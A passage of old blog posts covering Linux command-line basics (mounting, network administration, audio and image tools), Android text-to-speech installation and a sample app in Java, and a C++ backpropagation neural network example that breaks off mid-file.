<span style="background-color: white;">See </span><a href="http://sunsite.auc.dk/share/page/FAQ.htm#Where_drives">here</a><span style="background-color: white;"> for details on mounting drives. Examples are shown in the next commands.</span><tt>mount -t auto /dev/fd0 /mnt/floppy</tt><br />
(as root) Mount the floppy. The directory <tt>/mnt/floppy</tt> must exist, be empty and NOT be your current directory.<br />
<tt>mount -t auto /dev/cdrom /mnt/cdrom</tt><br />
(as root) Mount the CD. You may need to create/modify the <tt>/dev/cdrom</tt> file depending where your CDROM is. The directory <tt>/mnt/cdrom</tt> must exist, be empty and NOT be your current directory.<br />
<tt>mount /mnt/floppy</tt><br />
(as user or root) Mount a floppy as user. The file <tt>/etc/fstab</tt> must be set up to do this. The directory <tt>/mnt/floppy</tt> must not be your current directory.<br />
<tt>mount /mnt/cdrom</tt><br />
(as user or root) Mount a CD as user. The file <tt>/etc/fstab</tt> must be set up to do this. The directory <tt>/mnt/cdrom</tt> must not be your current directory.<br />
<tt>umount /mnt/floppy</tt><br />
Unmount the floppy. The directory <tt>/mnt/floppy</tt> must not be your (or anybody else's) current working directory. Depending on your setup, you might not be able to unmount a drive that you didn't mount.<br />
<br />
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=5921365435249055889" name="Net_tools"></a>7.6 Network administration tools</h2>
<tt>netconf</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">(as root) A very good menu-driven setup of your network.</span><tt>ping<i>machine_name</i></tt><br />
Check if you can contact another machine (give the machine's name or IP), press <Ctrl>C when done (it keeps going).<br />
<tt>route -n</tt><br />
Show the kernel routing table.<br />
<tt>nslookup <i>host_to_find</i></tt><br />
Query your default domain name server (DNS) for an Internet name (or IP number) <i>host_to_find</i>. This way you can check if your DNS works. You can also find out the name of the host of which you only know the IP number.<br />
<tt>traceroute <i>host_to_trace</i></tt><br />
Have a look how you messages trave to <i><tt>host_to_trace</tt></i> (which is either a host name or IP number).<br />
<tt>ipfwadm -F -p m</tt><br />
(for RH5.2, seen next command for RH6.0) Set up the firewall IP forwarding policy to masquerading. (Not very secure but simple.) Purpose: all computers from your home network will appear to the outside world as one very busy machine and, for example, you will be allowed to browse the Internet from all computers at once.<br />
<tt>echo 1 > /proc/sys/net/ipv4/ip_forward</tt><br />
<tt>ipfwadm-wrapper -F -p deny</tt><br />
<tt>ipfwadm-wrapper -F -a m -S xxx.xxx.xxx.0/24 -D 0.0.0.0/0</tt><br />
(three commands, RH6.0). Does the same as the previous command. Substitute the "x"s with digits of your class "C" IP address that you assigned to your home network. See <a href="http://sunsite.auc.dk/share/page/FAQ.htm#masquerading">here</a> for more details. In RH6.1, masquarading seems broken to me--I think I will install Mandrake Linux:).<br />
<tt>ifconfig</tt><br />
(as root) Display info on the network interfaces <u>currently active</u> (ethernet, ppp, etc). Your first ethernet should show up as eth0, second as eth1, etc, first ppp over modem as ppp0, second as ppp1, etc. The "lo" is the "loopback only" interface which should be always active. Use the options (see <tt>ifconfig --help</tt>) to configure the interfaces.<br />
<tt>ifup <i>interface_name</i></tt><br />
(<tt>/sbin/ifup</tt> to it run as a user) Startup a network interface. E.g.:<br />
<tt>ifup eth0</tt><br />
<tt>ifup ppp0</tt><br />
Users can start up or shutdown the ppp interface only when the right permission was checked during the ppp setup (using <tt>netconf</tt> ). To start a ppp interface (dial-up connection), I normally use kppp available under kde menu "internet".<br />
<tt>ifdown <i>interface_name</i></tt><br />
(<tt>/sbin/ifdown</tt> to run it as a user). Shut down the network interface. E.g.: <tt>ifdown ppp0 </tt>Also, see the previous command.<br />
<tt>netstat | more</tt><br />
Displays a lot (too much?) information on the status of your network.<br />
<br />
<h2>
Music-related commands</h2>
<tt>cdplay play 1</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">Play the first track from a audio CD.</span><tt>eject</tt><br />
Get a free coffee cup holder :))). (Eject the CD ROM tray).<br />
<tt>play <i>my_file.wav</i></tt><br />
Play a wave file.<br />
<tt>mpg123 <i>my_file.mp3</i></tt><br />
Play an mp3 file.<br />
<tt>mpg123 -w <i>my_file.wav my_file.mp3</i></tt><br />
Create a wave audio file from an mp3 audio file.<br />
<tt>knapster</tt><br />
(in X terminal) Start the program to downolad mp3 files that other users of napster have displayed for downloading. Really cool!<br />
<tt>cdparanoia -B "1-"</tt><br />
(CD ripper) Read the contents of an audio CD and save it into wavefiles in the current directories, one track per wavefile. The "1-"<br />
means "from track 1 to the last". -B forces putting each track into a separate file.<br />
<tt>playmidi <i>my_file.mid</i></tt><br />
Play a midi file. <tt>playmidi -r <i>my_file.mid</i></tt> will display text mode effects on the screen.<br />
<tt>sox</tt><br />
(argument not given here) Convert from almost any audio file format to another (but not mp3s). See <tt>man sox</tt>.<br />
<br />
<h2>
Graphics-related commands</h2>
<tt>kghostview <i>my_file.ps</i></tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">Display a postscript file on screen. I can also use the older-looking </span><tt>ghostview</tt><span style="background-color: white;"> or </span><tt>gv</tt><span style="background-color: white;"> for the same end effect.</span><tt>ps2pdf my_file.ps my_file.pdf</tt><br />
Make a pdf (Adobe portable document format) file from a postscript file.<br />
<tt>gimp</tt><br />
(in X terminal) A humble looking but very powerful image processor. Takes some learning to use, but it is great for artists, there is almost nothing you can't do with gimp. Use your mouse right button to get local menus, and learn how to use layers. Save your file in the native gimp file format *.xcf (to preserve layers) and only then flatten it and save as png (or whatever). There is a large user manual /usr/<br />
<tt>gphoto</tt><br />
(in X terminal) Powerful photo editor.<br />
<tt>giftopnm <i>my_file.giff</i> > <i>my_file.pnm</i></tt><br />
<tt>pnmtopng <i>my_file.pnm</i> > <i>my_file.png</i></tt><br />
Convert the propriatory giff graphics into a raw, portable pnm file. Then convert the pnm into a png file, which is a newer and better standard for Internet pictures (better technically plus there is no danger of being sued by the owner of giff patents).<br />
<br />
Taken from : http://www.unixguide.net/linux/linuxshortcuts.shtmlAgung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-48932742924947679562012-11-30T00:17:00.000+07:002012-11-30T00:45:38.624+07:00Android : Install the Text to Speech Engine and LocalesInstall all the .apk in <a href="http://www.mediafire.com/?6g1c2zzuyy7pu7v">this compressed .zip file</a> and you are ready to go to use the text to speech engine with several languages such as english, german, french, italian, and many more.<br />
<br />
<a name='more'></a><br /><br />
If you use the emulator, follow these steps to install the .apk files:<br />
1. Open Android SDK Manager->Tools->Manage AVDs... <br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTka87qGK4H6gIgAfPUPFB2cB9ayVDUeCbSYIqhoydyVJI0Kh9n3daOxUhUhK35tK6NlKgJ4OECWID_yVCJUTRGE3VpU01yp1Ih1GrhYek5C77TQk5TBv0Z9h_qfhkxNTCGtA1z54nGSs/s1600/Android+Tools.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="319" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTka87qGK4H6gIgAfPUPFB2cB9ayVDUeCbSYIqhoydyVJI0Kh9n3daOxUhUhK35tK6NlKgJ4OECWID_yVCJUTRGE3VpU01yp1Ih1GrhYek5C77TQk5TBv0Z9h_qfhkxNTCGtA1z54nGSs/s320/Android+Tools.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">AVD Manager Window</td></tr>
</tbody></table>
<br />
2. Start one of any AVDs available.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMu5VJEh-3ckKAgyk9z0spRDsJKZunJew3x8-_IHf_LhaGjUBORedybKqDG-cUZOpCCKoXwGAxqrXHBeqdRkHPuw7f_eiGNf6tkssc5r7M5sKSnly-pcymDyaHcKz5sXp8QwRC5BMwYGU/s1600/emulator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMu5VJEh-3ckKAgyk9z0spRDsJKZunJew3x8-_IHf_LhaGjUBORedybKqDG-cUZOpCCKoXwGAxqrXHBeqdRkHPuw7f_eiGNf6tkssc5r7M5sKSnly-pcymDyaHcKz5sXp8QwRC5BMwYGU/s320/emulator.png" width="233" /></a></div>
3. Go to the platform-tools folder in your Android SDK and run the adb program from the emulator. Execute this command "adb install <.apk name>".<br />
<br />
4. After you already finished installing all the .apk in the compressed .zip, then you are finished to start using the Text to Speech feature in your Android device or Emulator.Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-55117314517993773352012-11-29T22:55:00.001+07:002012-11-29T22:55:32.233+07:00Linux and UNIX Commands Cheat SheetThis cheat sheet contains of all common commands in UNIX and LINUX for system handling, hardware information, load, statistics, users handling, password handling, process handling, network debugging, file system handling, kernel programming, and many more.<br />
<br />
Download this cheat sheet, <a href="http://www.mediafire.com/view/?z4nhv3zxijo1liz">here.</a>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com1tag:blogger.com,1999:blog-5921365435249055889.post-8409738207637724252012-11-29T22:37:00.000+07:002013-03-11T11:12:09.264+07:00Android : Text to Speech with Language Changer Option<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJHUn5TkZys3zmn36eCmmC3pWDrn8rHyzpQvIoh8DqpbnXLHFlJ89gvwIq8b3qOWIBGTqjpjCWPE1WMgMcga_9-cnj8xIKIc5pVxQhmBhvPujRQBNEbNn1DRnOcGGF7Z8H8SvFIiHRZAA/s1600/text2speech.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJHUn5TkZys3zmn36eCmmC3pWDrn8rHyzpQvIoh8DqpbnXLHFlJ89gvwIq8b3qOWIBGTqjpjCWPE1WMgMcga_9-cnj8xIKIc5pVxQhmBhvPujRQBNEbNn1DRnOcGGF7Z8H8SvFIiHRZAA/s320/text2speech.png" width="233" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Text to Speech with Language Changer Option</td></tr>
</tbody></table>
<br />
In this post we are going to make a Android Application using the text to speech feature. What differs this tutorial with the other is this tutorial uses a language changing option. So the text can be spoken in different accent based on the country selected.<br />
<br />
<a name='more'></a><br />
<br />
This is the source code for main source in java:<br />
package org.agung.text2speech;<br />
<br />
<br />
import java.util.Locale;<br />
<br />
import android.os.Bundle;<br />
import android.app.Activity;<br />
import android.content.Intent;<br />
import android.speech.tts.TextToSpeech;<br />
import android.speech.tts.TextToSpeech.OnInitListener;<br />
import android.util.Log;<br />
import android.view.Gravity;<br />
import android.view.Menu;<br />
import android.view.MenuItem;<br />
import android.view.View;<br />
import android.view.View.OnClickListener;<br />
import android.widget.Button;<br />
import android.widget.EditText;<br />
import android.widget.Toast;<br />
<br />
public class MainSpeak extends Activity implements OnInitListener {<br />
String m_strInputText;<br />
EditText m_edtInputText;<br />
Button m_btnSpeak;<br />
Toast m_toast;<br />
<br />
private TextToSpeech m_TTS;<br />
private int MY_CHECK_DATA = 0;<br />
@Override<br />
protected void onCreate(Bundle savedInstanceState) {<br />
super.onCreate(savedInstanceState);<br />
setContentView(R.layout.activity_main_speak);<br />
m_edtInputText = (EditText)findViewById(R.id.edtInputText);<br />
m_btnSpeak = (Button)findViewById(R.id.btnSpeak);<br />
Intent m_checkTTSIntent = new Intent();<br />
m_checkTTSIntent.setAction(TextToSpeech.Engine.ACTION_CHECK_TTS_DATA);<br />
startActivityForResult(m_checkTTSIntent, MY_CHECK_DATA);<br />
m_btnSpeak.setOnClickListener(new OnClickListener() {<br />
@Override<br />
public void onClick(View argView) {<br />
// TODO Auto-generated method stub<br />
m_strInputText = m_edtInputText.getText().toString();<br />
speakText(m_strInputText);<br />
}<br />
});<br />
}<br />
<br />
protected void onActivityResult(int requestCode, int resultCode, Intent data) {<br />
if(requestCode == MY_CHECK_DATA){<br />
if(resultCode == TextToSpeech.Engine.CHECK_VOICE_DATA_PASS){<br />
m_TTS = new TextToSpeech(this,this);<br />
}<br />
else<br />
{<br />
Intent m_installTTSIntent = new Intent();<br />
m_installTTSIntent.setAction(TextToSpeech.Engine.ACTION_INSTALL_TTS_DATA);<br />
startActivity(m_installTTSIntent);<br />
}<br />
}<br />
}<br />
<br />
private void speakText(String text){<br />
m_TTS.speak(text, TextToSpeech.QUEUE_FLUSH, null);<br />
}<br />
<br />
@Override<br />
public boolean onCreateOptionsMenu(Menu menu) {<br />
// Inflate the menu; this adds items to the action bar if it is present.<br />
getMenuInflater().inflate(R.menu.activity_main_speak, menu);<br />
return true;<br />
}<br />
<br />
@Override<br />
public boolean onOptionsItemSelected(MenuItem item) {<br />
switch(item.getItemId())<br />
{<br />
case R.id.langEnglish:<br />
m_TTS.setLanguage(Locale.US);<br />
m_toast = Toast.makeText(MainSpeak.this, "English", Toast.LENGTH_SHORT);<br />
m_toast.setGravity(Gravity.CENTER, 0, 0);<br />
m_toast.show();<br />
return true;<br />
case R.id.langGerman:<br />
m_TTS.setLanguage(Locale.GERMAN);<br />
m_toast = Toast.makeText(MainSpeak.this, "German", Toast.LENGTH_SHORT);<br />
m_toast.setGravity(Gravity.CENTER, 0, 0);<br />
m_toast.show();<br />
return true;<br />
case R.id.langFrench:<br />
m_TTS.setLanguage(Locale.FRENCH);<br />
m_toast = Toast.makeText(MainSpeak.this, "French", Toast.LENGTH_SHORT);<br />
m_toast.setGravity(Gravity.CENTER, 0, 0);<br />
m_toast.show();<br />
return true;<br />
case R.id.langItalian:<br />
m_TTS.setLanguage(Locale.ITALIAN);<br />
m_toast = Toast.makeText(MainSpeak.this, "Italian", Toast.LENGTH_SHORT);<br />
m_toast.setGravity(Gravity.CENTER, 0, 0);<br />
m_toast.show();<br />
return true;<br />
default:<br />
return super.onOptionsItemSelected(item);<br />
}<br />
<br />
}<br />
@Override<br />
public void onInit(int status) {<br />
// TODO Auto-generated method stub<br />
if(status == TextToSpeech.SUCCESS)<br />
{<br />
m_TTS.setLanguage(Locale.US);<br />
Log.e("TTS INIT", "TTS SUCCESS");<br />
}<br />
else if(status == TextToSpeech.ERROR)<br />
{<br />
Log.e("TTS INIT", "TTS ERROR");<br />
}<br />
}<br />
}<br />
<br />
<br />
This is the layout xml source code:<br />
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"<br />
xmlns:tools="http://schemas.android.com/tools"<br />
android:layout_width="match_parent"<br />
android:layout_height="match_parent"<br />
tools:context=".MainSpeak" ><br />
<br />
<TextView<br />
android:id="@+id/tvTitle"<br />
android:layout_width="wrap_content"<br />
android:layout_height="wrap_content"<br />
android:layout_alignParentLeft="true"<br />
android:layout_alignParentRight="true"<br />
android:layout_alignParentTop="true"<br />
android:gravity="center"<br />
android:text="Text to Speech Test"<br />
android:textAppearance="?android:attr/textAppearanceLarge" /><br />
<br />
<EditText<br />
android:id="@+id/edtInputText"<br />
android:layout_width="wrap_content"<br />
android:layout_height="wrap_content"<br />
android:layout_alignParentLeft="true"<br />
android:layout_alignParentRight="true"<br />
android:layout_below="@+id/tvTitle"<br />
android:ems="10" ><br />
<br />
<requestFocus /><br />
</EditText><br />
<br />
<Button<br />
android:id="@+id/btnSpeak"<br />
android:layout_width="wrap_content"<br />
android:layout_height="wrap_content"<br />
android:layout_below="@+id/edtInputText"<br />
android:layout_centerHorizontal="true"<br />
android:text="Speak" /><br />
<br />
</RelativeLayout><br />
<br />
<br />
This is the xml source code for the menu:<br />
<br />
<menu xmlns:android="http://schemas.android.com/apk/res/android" ><br />
<item android:id="@+id/chooseLang" android:title="@string/choose_lang"><br />
<menu><br />
<item android:id="@+id/langEnglish" android:title="@string/lang_en" android:icon="@drawable/us"/><br />
<item android:id="@+id/langGerman" android:title="@string/lang_de" android:icon="@drawable/de"/><br />
<item android:id="@+id/langFrench" android:title="@string/lang_fr" android:icon="@drawable/fr"/><br />
<item android:id="@+id/langItalian" android:title="@string/lang_it" android:icon="@drawable/it"/><br />
</menu><br />
</item><br />
</menu><br />
<br />
If you want to download the entire source code, you can obtain it via mediafire.<a href="http://www.mediafire.com/?xlvwlxgd828wyfy" target="_blank"> (LINK)</a>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-17886921476253823902011-12-27T22:49:00.000+07:002013-03-20T07:55:35.989+07:00How to Backpropagation Neural Network with C++?neuralnet.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include "backprop.h"</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <cstdlib></span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">using namespace std;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">double toInt(const double& lfIn)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> if (lfIn > 0.5)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return ceil(lfIn);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> else if (lfIn < 0.5)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return floor(lfIn);</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<a name='more'></a><br />
<span style="font-family: "Courier New",Courier,monospace;">int main(int argc, char* argv[])</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // prepare XOR traing data</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double data[][3/*4*/]={</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0, 0, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0, 1, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 1, 0, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 1, 1, 0 };</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 0, 0, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 0, 1, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 1, 0, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 1, 1, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 0, 0, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 0, 1, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 1, 0, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 1, 1, 1 };</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // prepare test data </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double testData[][2/*3*/]={</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 1, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0, 0.87,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 1, 0.08,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0.35, 1};</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 0, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 0, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 1, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 0, 1, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 0, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 0, 1,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 1, 0,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// 1, 1, 1};</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // defining a net with 4 layers having 3,3,3, and 1 neuron respectively,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // the first layer is input layer i.e. simply holder for the input parameters</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // and has to be the same size as the no of input parameters, in out example 3</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int numLayers = 4, lSz[4] = {2,2,2,1};</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // Learing rate - beta</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // momentum - alpha</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // Threshhold - thresh (value of target mse, training stops once it is achieved)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double beta = 0.3, alpha = 0.1, Thresh = 0.0000000001;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // maximum no of iterations during training</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> long num_iter = 2000000;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> long i;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // Creating the net</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> CBackProp *bp = new CBackProp(numLayers, lSz, beta, alpha);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout<< endl << "Now training the network...." << endl; </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for (i=0; i<num_iter ; i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> bp->bpgt(data[i%4/*8*/], &data[/*i%8*/i%4][/*3*/2]);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> if( bp->mse(&data[/*i%8*/i%4][/*3*/2]) < Thresh) {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout << endl << "Network Trained. Threshold value achieved in " << i << " iterations." << endl;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout << "MSE: " << bp->mse(&data[/*i%8*/i%4][/*3*/2]) </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> << endl << endl;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> if ( i%(num_iter/10) == 0 )</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout<< endl << "MSE: " << bp->mse(&data[/*i%8*/i%4][/*3*/2]) </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> << "... Training..." << endl;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> if ( i == num_iter )</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout << endl << i << " iterations completed..." </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> << "MSE: " << bp->mse(&data[(i-1)/*%8*/%4][/*3*/2]) << endl; // <<--- inilah tempat data weights</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // Ini bagian Mapping</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> cout<< "Now using the trained network to make predctions on test data...." << endl << endl; </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for ( i = 0 ; i < 4/*8*/ ; i++ )</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> bp->ffwd(testData[i]);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> cout << testData[i][0]<< " " << testData[i][1]<< " " /*( << testData[i][2]<< " "*/ << /*toInt(*/bp->Out(0)/*)*/ << endl;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> return 0;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<br />
backprop.h:<br />
<span style="font-family: "Courier New",Courier,monospace;">//////////////////////////////////////////////</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// Fully connected multilayered feed //</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// forward artificial neural network using //</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// Backpropogation algorithm for training. //</span><br />
<span style="font-family: "Courier New",Courier,monospace;">//////////////////////////////////////////////</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#ifndef backprop_h</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#define backprop_h</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <cassert></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <iostream></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <cstdio></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <cmath></span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">class CBackProp{</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// output of each neuron</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double **out;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// delta error value for each neuron</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double **delta;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// vector of weights for each neuron</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double ***weight;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// no of layers in net</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// including input layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int numl;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// vector of numl elements for size </span><br />
<span style="font-family: "Courier New",Courier,monospace;">// of each layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int *lsize;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// learning rate</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double beta;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// momentum parameter</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double alpha;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// storage for weight-change made</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// in previous epoch</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double ***prevDwt;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// squashing function</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double sigmoid(double in);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">public:</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> ~CBackProp();</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// initializes and allocates memory</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> CBackProp(int nl,int *sz,double b,double a);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// backpropogates error for one set of input</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void bpgt(double *in,double *tgt);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// feed forwards activations for one set of inputs</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void ffwd(double *in);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// returns mean square error of the net</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double mse(double *tgt) const; </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><br />
<span style="font-family: "Courier New",Courier,monospace;">// returns i'th output of the net</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double Out(int i) const;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">};</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#endif</span><br />
<br />
backprop.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include "backprop.h"</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <ctime></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <cstdlib></span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// initializes and allocates memory on heap</span><br />
<span style="font-family: "Courier New",Courier,monospace;">CBackProp::CBackProp(int nl,int *sz,double b,double a):beta(b),alpha(a)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // set no of layers and their sizes</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> numl=nl;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> lsize=new int[numl];</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=0;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> lsize[i]=sz[i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // allocate memory for output of each neuron</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> out = new double*[numl];</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=0;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> out[i]=new double[lsize[i]];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // allocate memory for delta</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delta = new double*[numl];</span><br />
<br />
